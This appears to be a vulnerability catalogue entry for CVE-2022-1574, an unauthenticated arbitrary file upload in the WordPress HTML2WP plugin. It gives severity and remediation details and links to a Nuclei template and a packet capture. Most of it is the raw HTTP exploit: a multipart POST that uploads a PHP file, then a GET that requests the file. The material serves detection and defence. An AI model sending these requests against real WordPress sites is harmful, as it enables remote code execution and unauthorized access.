| Title | WordPress HTML2WP <=1.0.0 - Arbitrary File Upload |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | An attacker can upload malicious files to the server, leading to remote code execution or unauthorized access. |
| Remediation | Update to the latest version of the plugin or remove it if not needed. |
| CVSS Score | 9.8 |
| EPSS Score | 0.73672 |
| CVE ID | CVE-2022-1574 |
| CWE ID | CWE-352 |
| Tags | cve cve2022 wp-plugin wp fileupload unauth wpscan wordpress intrusive html2wp html2wp_project vuln vkev |
WordPress HTML2WP plugin through 1.0.0 contains an arbitrary file upload vulnerability. The plugin does not perform authorization and CSRF checks when importing files and does not validate them. As a result, an attacker can upload arbitrary files on the remote server.
POST /wp-admin/admin.php?page=html2wp-settings HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.4.24
Content-Length: 289
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------7816508136577551742878603990
Accept-Encoding: gzip
-----------------------------7816508136577551742878603990
Content-Disposition: form-data; name="local_importing[]"; filename="38F5Y7Ca4SSLhRuayCH7JrRGlWj.php"
Content-Type: text/html
<?php
echo "File Upload success";
-----------------------------7816508136577551742878603990--
GET /wp-content/uploads/html2wp/38F5Y7Ca4SSLhRuayCH7JrRGlWj.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1574.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-1574.pcap
N/AN/A